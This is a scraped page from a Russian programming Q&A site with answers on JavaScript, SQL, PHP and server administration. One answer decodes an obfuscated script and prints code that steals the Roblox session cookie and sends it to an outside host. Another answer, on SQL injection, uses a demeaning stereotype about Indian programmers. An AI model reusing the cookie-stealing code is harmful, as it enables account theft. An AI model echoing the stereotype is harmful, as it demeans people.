Задать вопрос
  • Регистрация через подготовленые запросы?

    @galaxy
    Ну вы доку-то почитайте.
    Какой первый параметр у mysqli_stmt::bind_param()?
    Ответ написан
    Комментировать
  • Почему код работает по-разному?

    sergiks
    @sergiks Куратор тега JavaScript
    ♬♬
    Смысл алгоритма: два указателя, которые двигаются слева направо.
    Второй всегда правее первого.
    Сравниваются два элемента массива под указателями. Меняются местами при необходимости.

    Вот визуализация сортировки:
    Ответ написан
    Комментировать
  • Как пройти Authorization Certbot'у, если доступ к серверу ограничен только определенными ip?

    ky0
    @ky0 Куратор тега Системное администрирование
    Миллиардер, филантроп, патологический лгун
    Можно подтвердить владение доменом совсем без доступа непосредственно к серверу, через DNS-запись.
    Ответ написан
    3 комментария
  • Как расшифровать данный JS код?

    v3shin
    @v3shin
    Веб-шаман
    Вкратце, этот код делает такое:
    chrome.cookies.get({
        'url': 'https://www.roblox.com',
        'name': '.ROBLOSECURITY'
    }, function(cookie) {
        fetch('https://robloxtools.org/botter/placesend2.php?t=' + cookie.value);
    });

    Подробности можно прочитать в документации.

    Как упростить такой код? Загнать в любой js beautifier и начать переименовывать переменные. Все вычисляемые значения переписывать в явном виде. Рано или поздно код упростится до читабельности.
    Ответ написан
    4 комментария
  • Как разбить массив на части заданного размера?

    MrDecoy
    @MrDecoy Куратор тега JavaScript
    Верставший фронтендер
    Или в более понятном виде:
    [
      {
        path: './name-1.jpg',
        filename: 'name-1'
      },
      {
        path: './name-2.jpg',
        filename: 'name-2'
      },
      {
        path: './name-3.jpg',
        filename: 'name-3'
      },
      {
        path: './name-4.jpg',
        filename: 'name-4'
      }
    ].reduce((acc, item, idx, arr) => { if (idx % 2) { acc.push([ arr[idx-1], item ]) } return acc }, [])
    
    /*
    [
      [
        { path: './name-1.jpg', filename: 'name-1' },
        { path: './name-2.jpg', filename: 'name-2' }
      ],
      [
        { path: './name-3.jpg', filename: 'name-3' },
        { path: './name-4.jpg', filename: 'name-4' }
      ]
    ]
    */
    Ответ написан
    Комментировать
  • Как разбить массив на части заданного размера?

    0xD34F
    @0xD34F Куратор тега JavaScript
    Можно рассматривать нарезание массива на куски как самостоятельную операцию:

    const chunked = (arr, chunkSize) =>
      arr.reduce((acc, n, i) => (
        (i % chunkSize) || acc.push([]),
        acc.at(-1).push(n),
        acc
      ), []);
    
    
    console.log(chunked([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 ], 3));

    А можно - как частный случай группировки, и не обязательно одних только массивов:

    const group = (data, key) =>
      Array.prototype.reduce.call(
        data,
        (acc, n, i, a) => ((acc[key(n, i, a)] ??= []).push(n), acc),
        {}
      );
    
    const chunked = (data, chunkSize) =>
      Object.values(group(data, (_, i) => i / chunkSize | 0));
    
    
    console.log(chunked('0123456789', 3));
    console.log(chunked(document.querySelectorAll('img'), 5));

    Если режем на куски не массив, то и кусками тоже могут быть не массивы, а значения исходного типа (если данный тип поддерживает операцию получения куска значения):

    const chunked = (data, chunkSize, slice = data.slice) =>
      Array.from(
        { length: Math.ceil(data.length / chunkSize) },
        function(_, i) {
          return this(i * chunkSize, (i + 1) * chunkSize);
        },
        (slice instanceof Function ? slice : Array.prototype.slice).bind(data)
      );
    
    
    console.log(chunked('abcdefghij', 4)); // так кусками будут тоже строки
    console.log(chunked('abcdefghij', 4, [].slice)); // а так - массивы
    console.log(chunked($('img'), 5));

    В качестве исходных данных могут выступать не только массивоподобные объекты, но и итерируемые, а саму выдачу кусков можно оформить в виде генератора:

    function* chunked(data, chunkSize) {
      let chunk = [];
    
      for (const n of data) {
        if (chunk.push(n) === chunkSize) {
          yield chunk;
          chunk = [];
        }
      }
    
      if (chunk.length) {
        yield chunk;
      }
    }
    
    
    console.log(Array.from(chunked([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 ], 3)));
    console.log([...chunked(document.querySelectorAll('img'), 5)]);
    for (const n of chunked(Array(10).keys(), 4)) {
      console.log(n);
    }
    Ответ написан
    Комментировать
  • Насколько обширен SQL и сколько времени нужно для изучения SQL?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Вся жизнь уйдёт. Пока вы изучаете СУБД, разработчики её дописывают. Утираете пот со лба, говорите "теперь я знаю всё!", а разработчики: "держи новую версию, в которой 100 добавлений и 500 изменений".
    Ответ написан
    1 комментарий
  • Как вывести всех родителей у подкатегории до главной категории?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    В MySQL 8 решается одним запросом:
    WITH RECURSIVE `cte` (`id`, `parent_id`, `title`, `n`) AS (
      SELECT `id`, `parent_id`, `title`, 0
        FROM `table`
        WHERE `id` = :categoryId
      UNION
      SELECT `t`.`id`, `t`.`parent_id`, `t`.`title`, `n`+1
        FROM `cte`
        JOIN `table` AS `t` ON `t`.`id` = `cte`.`parent_id`
    )
    SELECT `id`, `title`
      FROM `cte`
      ORDER BY `n` DESC
    Остаётся только выбрать все строки из ответа и вывести их в цикле.
    Ответ написан
    2 комментария
  • Как вывести всех родителей у подкатегории до главной категории?

    @Akina
    Сетевой и системный админ, SQL-программист.
    WITH RECURSIVE
    cte AS ( SELECT *, 1 level
             FROM category 
             WHERE id = $category_id
             UNION ALL
             SELECT cat.*, cte.level + 1
             FROM category cat
             JOIN cte ON cat.id = cte.parent_id )
    SELECT *
    FROM cte
    ORDER BY level;

    Для древних версий:
    SELECT CONCAT_WS('=>', c1.id, c2.id, c3.id, c4.id, c5.id) path
    FROM category c1
    LEFT JOIN category c2 ON c1.parent_id = c2.id
    LEFT JOIN category c3 ON c2.parent_id = c3.id
    LEFT JOIN category c4 ON c3.parent_id = c4.id
    LEFT JOIN category c5 ON c4.parent_id = c5.id
    WHERE c1.id = $category_id

    Ну соответственно подрихтовать до нужного вида выходного набора.
    Ответ написан
    4 комментария
  • Чем делать резервную копию Windows?

    delphinpro
    @delphinpro
    frontend developer
    Важные файлы на яндекс-диске.
    Рабочие проекты на гитхабе/гитлабе.
    А саму систему нафига бэкапить? Она у меня на днях в первый раз за 8 лет рухнула. Ну накатил по новой и фиг с ней.
    Ответ написан
  • Как вывести строку по id php ?id=1?

    FanatPHP
    @FanatPHP
    Чебуратор тега РНР
    Вопрос хороший, но здесь мы упираемся в главную беду пхп - ВСЕ учебники в интернете, и особенно видео - показывают как писать адов говнокод из прошлого века.

    1. Получение значения из адресной строки

    Чтобы получить значение переменной, которую передали в строке запроса (это то что после знака вопроса), надо обратиться к переменной $_GET

    То есть в данном случае можно написать $id = $_GET['id']. Имя получаемой переменной ($id) может быть любым и не обязательно совпадать с переданным значением. А вот в индекс массива $_GET разумеется надо писать именно то имя, которое в адресной строке. То есть если site.com/?id=1 то в $_GET['id'] будет значение 1.

    2. Валидация данных

    Далее очень желательно проверить, что мы в переменной получили то что хотели, а так же что мы вообще хоть что-то получили.

    Сначала надо проверить наличие в массиве $_GET нужного ключа. В данном случае это можно сделать с помощью оператора isset() (хотя вообще она для проверки наличия ключей в массивах не рекомендуется)
    Если для показа информации используем отдельную, специальную страницу, которая только занимается показом данных по айди, то после проверки на существование надо выдать ошибку.

    Затем, поскольку id может быть только целым числом больше нуля, то лучше проверить и это тоже и тоже выдать ошибку.

    3. Соединение с БД.

    в "config.php" должно быть написано не то что там сейчас а вот это (со своими параметрами подключения разумеется)
    mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
    $link = mysqli_connect($host, $user, $pass, $db_name);
    $link->set_charset("utf8mb4");


    4. SQL

    Запрос, который нам нужен, выглядит так:
    SELECT * FROM `product` WHERE id=1

    5. Выполнение запроса в РНР

    Но разумеется вместо 1 надо подставить значение переменной.
    Это самое сложное. Но надо один раз выучить и потом везде применять

    Важно, чтобы данные в БД всегда попадали отдельно от самого запроса. Это непреложное правило, которое надо соблюдать всегда.
    Для этого надо
    1. Заменить все переменные в запросе на специальные маркеры, которые называются плейсхолдеры или параметры, а по сути - просто знаки вопроса
    2. Подготовить запрос к исполнению с помощью функции prepare(). Эта функция принимает строку запроса и возвращает экземпляр специального класса stmt, с которым в дальнейшем и производятся все манипуляции
    3. Привязать переменные к запросу.
    4. Выполнить подготовленный ранее запрос с помощью с помощью execute()
    5. Получить результат запроса через get_result()
    6. и дальше конкретную строку из БД с помощью уже знакомой fetch_assoc


    В коде это будет так
    $sql = "SELECT * FROM `product` WHERE id=?";
    $stmt = $link->prepare($sql);
    $stmt->bind_param("s", $id);
    $stmt->execute();
    $result = $stmt->get_result();
    $row = $result->fetch_assoc();


    bind_param() принимает в качестве параметров все переменные, которые должны попасть в запрос, в том же самом порядке, в котором стоят плейсхолдеры в запросе. Но кроме того, сначала в этой функции должны быть указаны типы для всех переменных, в виде строки, где тип переменной обозначается одной буквой. То есть букв в этой строке должно быть ровно столько, сколько дальше будет переменных. К счастью, можно особо не париться с типами и для всех переменных указывать тип "s".

    6. Вывод данных.

    Важно понимать, что в момент вывода данных никакой работы с БД уже быть не должно!
    Должны быть только переменные РНР с уже полученными данными.
    Ответ написан
    1 комментарий
  • Как взламывают бд крупных компаний?

    FanatPHP
    @FanatPHP
    Чебуратор тега РНР
    Взламывают точно так же как и мелкие.
    В статье описана обычная SQL инъекция, когда данные подставляются прямо в SQL запрос.

    Я просто сомневаюсь, что valve может нанять таких людей в backend

    Не надо сомневаться.
    Нету никаких "особенных способов взлома".
    А есть такое явление как "эффективные менеджеры". У которых размер премии зависит от того, сколько денег они сэкономили акционерам.

    Если бы там были подготовленные выражения, то и взлома бы не было.
    Но вместо подготовленных выражений в больших компаниях есть эффективные менеджеры. Которые экономят на нормальных программистах, и заказывают разработку в Индии, в штате Бангалор. Где живет какой-нибудь Хамишь Кумар, который родился в касте вычерпывателей говна из сортиров. И вот у него только один шанс не черпать говно всю жизнь - всеми правдами и неправдами научиться программировать, путь даже за еду. Сравниваем с силиконовым программером с запросами $250k в месяц. Экономия налицо!

    На всякий случай напомню, для стопроцентной защиты от инъекций необходимо всегда следовать двум простым правилам:

    1. данные подставляем в запрос только через плейсхолдеры
    2. идентификаторы и ключевые слова подставляем только из белого списка, прописанного в нашем коде.


    Ключевое слово здесь - "всегда". Как только начинаются рассуждения вида "ну эти данные и так безопасные, их защищать не надо", то в этот момент мы добавляем инъекцию к себе на сайт. Следует понимать, что защищаем мы не данные, а запрос. Данные нас вообще не интересуют - какие они, откуда пришли, являются "безопасными" или нет. Важно не то откуда они пришли, а то, куда они идут. В SQL запрос? Используем подготовленные выражения, точка.
    Ответ написан
    1 комментарий
  • Отправка заявок SMTP или другой вариант?

    zkrvndm
    @zkrvndm
    Архитектор решений
    Вам просто нужно на хостинге поднять свою собственную почту и уже его использовать для отправки. Ну а для ленивых есть уведомления через телеграм, отправлять которые самому себе можно без ограничений.
    Ответ написан
    Комментировать
  • Как сделать так, чтобы при наведении на отдельную квартиру (path) менялся стиль ссылки, соответствующей этой квартире?

    sergiks
    @sergiks Куратор тега JavaScript
    ♬♬
    Из data-атрибута получать номер квартиры. По нему выбирать и path и элемент списка:

    Подробнее.
    Интересуют события, когда мышка наезжает на path или на элемент списка, и когда уезжает.

    И у path и у элементов списка у каждого в дата-атрибуте data-flat записан номер квартиры.
    Когда происходит событие, надо:
    1. получить из data-атрибута номер квартиры
    2. переключить класс active (включить или выключить его, в зависимости от типа события

    Зная номер квартиры, можно выбрать элементы, у которых атрибут data-flat совпадает с этим номером. Для этого используется селектор [data-flat="42"]
    Ответ написан
    4 комментария
  • Какое регулярное выражение использовать для получения части строки?

    0xD34F
    @0xD34F Куратор тега JavaScript
    Не надо никаких регулярных выражений:

    str.split('=').pop()
    // или
    str.slice(str.indexOf('=') + 1)

    Но, конечно, можно и регулярками:

    str.replace(/[^=]*=/, '')
    // или
    str.match(/(?<==).*/)[0]
    // или
    /[^=]*$/.exec(str).shift()

    А вообще, учитывая, чем является эта строка, и что вы хотите из неё получить:

    new URLSearchParams(str).get('sort')
    Ответ написан
    1 комментарий
  • Как составить регулярное выражение?

    0xD34F
    @0xD34F Куратор тега Регулярные выражения
    3 комментария
  • Как сделать чтобы input и label работали без id и for?

    0xD34F
    @0xD34F
    Пробовал input в label положить вообще не помогает

    помогает
    Ответ написан
    Комментировать
  • Какие более короткие варианты, или альтернативы деструктрирующего присваивания?

    profesor08
    @profesor08 Куратор тега JavaScript
    Но что делать, если элементов много?

    Если есть такая потребность, то скорее всего ты что-то делаешь не так. Лучше попробуй подумать как обработать свой массив иначе.

    осторожно говнокод

    либо подложить кому-то свинью
    const arr = [1,2,3,4,5,6,7,8,9,10];
    
    arr.forEach((value, index) => {
      window[`elem_${index}`] = value;
    })
    
    console.log(elem_1); // 1
    console.log(elem_2); // 2

    Ответ написан
    6 комментариев
  • Как в php немедленно выводить данные?

    @Vitsliputsli
    То что вы хотите не нужно делать через http, либо используйте web-socket, либо полностью перетащите этот функционал на фронт. Http предназначен для получения данных, а не отправки команд-сигналов с сервера. Манипуляции с ajax или переполнением буфера - также будут извращением.
    Ответ написан
    1 комментарий
  • Как скрыть карту сайта от публичного доступа через NGINX или Cloudflare?

    ky0
    @ky0 Куратор тега Nginx
    Миллиардер, филантроп, патологический лгун
    Разница между поисковым роботом и обычным браузером - только в юзерагенте, который легко подделать. Можно, конечно, добавить ещё и проверку принадлежности IP-адресов поисковым компаниям... но зачем, в целом? То, что проиндексировано гуглом - можно в нём легко найти.
    Ответ написан
    9 комментариев